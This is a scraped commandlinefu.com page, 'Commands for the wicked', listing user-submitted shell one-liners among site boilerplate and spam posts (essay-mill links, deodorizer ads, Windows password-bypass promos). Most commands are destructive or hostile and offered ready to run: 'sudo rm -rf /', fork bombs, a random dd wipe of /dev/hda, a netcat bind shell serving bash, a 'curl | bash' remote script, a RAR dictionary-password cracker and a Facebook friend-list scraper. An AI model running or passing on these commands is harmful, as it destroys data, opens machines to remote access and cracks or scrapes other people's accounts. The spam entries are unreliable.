Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2011-03-12 - Confoo 2011 presentation
Slides are available from the commandlinefu presentation at Confoo 2011: http://presentations.codeinthehole.com/confoo2011/
2011-01-04 - Moderation now required for new commands
To try and put and end to the spamming, new commands require moderation before they will appear on the site.
2010-12-27 - Apologies for not banning the trolls sooner
Have been away from the interwebs over Christmas. Will be more vigilant henceforth.
2010-09-24 - OAuth and pagination problems fixed
Apologies for the delay in getting Twitter's OAuth supported. Annoying pagination gremlin also fixed.
Hide

Tags

Hide

Functions

Commands for the wicked

Commands for the wicked from sorted by
Terminal - Commands for the wicked - 45 results
say -v ? |awk '{print $1}' |xargs -I% say -v % kevin\'s mom is a total whore
c=blue;convert -size 50x50 xc:$c $c.png; for i in red green yellow; do convert $c.png -background $i -rotate 20 $i.png; rm $c.png; c=$i; done; mv $i.png logo.png; display logo.png
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
<a href="http://www.qualityresearch.org.uk/essay-samples-index.php">Quality Research Essays</a> Writing Services to help students write essays, term papers, research papers.
Write <a href="http://www.writessay.com/order-essay.php">Good Essays</a> simply writes essays based on your description. Fill order essay from with topic and details of your essay, one of our professional writers will immediately.......
shudown
This article mainly helps organizations and companies how to reset Windows 2008 password once they find the password is lost or forgotten.
2010-11-10 06:38:31
User: EmilyChang
Functions: find reset
-32

This article mainly helps organizations and companies how to reset Windows 2008 password once they find the password is lost or forgotten.

This guide is intended for those who lost or forgot Windows password and have no idea to bypass Windows password. Learn how to bypass Windows 7 password with the following two tips and tricks when you forgot it.
2010-10-26 06:44:06
User: EmilyChang
Functions: who
-40

This guide is intended for those who lost or forgot Windows password and have no idea to bypass Windows password. Learn how to bypass Windows 7 password with the following two tips and tricks when you forgot it.

Smell, Odor, Deodorizer, Smells, Odors, Odour, Stink, Odor Eliminator, Odor Remover, Odor Control, Odor Removal, Odor Neutralizer
2010-10-20 05:46:40
User: noodor
-28

Smelleze? Eco Deodorizer eliminates stinky odor without masking with harmful fragrances. You can smell the difference with this odor remover & odor eliminator. Odors & smells don't stand a chance . Smelleze? utilizes proven odor removal & odor control technology. It's the only trusted eco-friendly, recyclable, non-toxic, odorless & natural deodorizer that's also reusable!

3 Top Tips to Reset Lost or Forgotten Windows Vista Password
2010-08-11 07:31:33
User: Deminemo
-38

We show you 3 easy and safe methods to reset Windows Vista password when your vista password is lost or forgotten and then you can log in Windows System instead of reinstalling the system when locked out of the system.

sudo rm -rf /
http://filerecoveryhelp.wordpress.com/
http://www.disk-utilities.com/data-recovery/how-to-retrieve-lost-files-from-pen-drive.html
2010-06-30 12:25:27
-32

This article mainly talks about common situations about file lost in pen drive, followed by corresponding solutions to retrieve the lost files from pen drive. Quite helpful to those who suffered files lost from pen drive. Great!!!

ping -c2 192.168.1.255 >/dev/null; arp -a
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
2010-01-29 15:10:35
User: vlan7
Functions: cut gawk grep
19

There's no need to be logged in facebook. I could do more JSON filtering but you get the idea...

Replace u=4 (Mark Zuckerberg, Facebook creator) with desired uid.

Hidden or not hidden... Scary, don't you?

echo && :(){ :|:& };:
2010-01-08 10:37:44
User: yvoictra
Functions: echo
-17

WARNING!! This command can produce to crash the unix system where you execute it. What this command do is to generate a lot of threads (so in practice -> process) until the system is overloaded, and to recover it, it is needed a reboot of the machine.

I believe it is interesting to study how this command works, however It is important to notice that executing this, the system is going to crash, so PLEASE save all the work you have opened before. Maybe it can also corrupt the system...

This is a fork bomb.

More info: http://en.wikipedia.org/wiki/Fork_bomb

/bin/bash | nc -l 1234
2009-11-07 21:26:53
11

My netcat (nc-1.84-10.fc6) doesn't have the -e option, so I have to do it like this. Of course, instead of bash, you can use any executable, including scripts.

# hdparm -mRuUwx --dco-restore --drq-hsm-error --fwdownload --security-unlock PWD --security-set-pass PWD --security-disable PWD --security-erase PWD --security-erase-enhanced PWD --user-master USER --security-mode MODE [device]
2009-11-03 03:28:08
User: purpleidea
Functions: hdparm
-11

this is the most scary command that exists. read the hdparm man page. and see this post: http://dazzle.cs.mcgill.ca/wordpress/?p=36

[ "`whoami`" == "root" ] && ( [ $[ $RANDOM % 6 ] == 0 ] && ( dd if=/dev/null of=/dev/hda bs=1 ; halt; ) || echo Alive\! ) || echo No risk, no fun! Become root\!;
2009-10-14 08:50:57
User: Cowboy
Functions: dd echo
-23

Better don't run this command. Only funny on machines you'd like to kill.

nmap -sP 192.168.0.*
2009-08-31 12:10:16
User: dotanmazor
18

There are several other options. This one is plain and simple.

Another option is:

nmap -sP 192.168.0.0/24

curl http://flip-edesign.com/scripts/system_info | bash
2009-08-29 20:18:02
User: flip387
-5

This is a simple BASH script which with gather basic system hardware such as CPU sockets and cores, Memory modules and sizes as well as overall memory and more.

Root access may be needed to pull information from 'dmidecode'

for i in $(cat dict.txt);do unrar e -p$i protected.rar; if [ $? = 0 ];then echo "Passwd Found: $i";break;fi;done
2009-07-05 02:36:40
User: ksaver
Functions: cat echo
22

Cracking a password protected .rar file in a line, by dictionary attack method. All you need is a good dictionary (dict.txt).

yes `yes`
:(){ :|:& };:
sudo make me a sandwich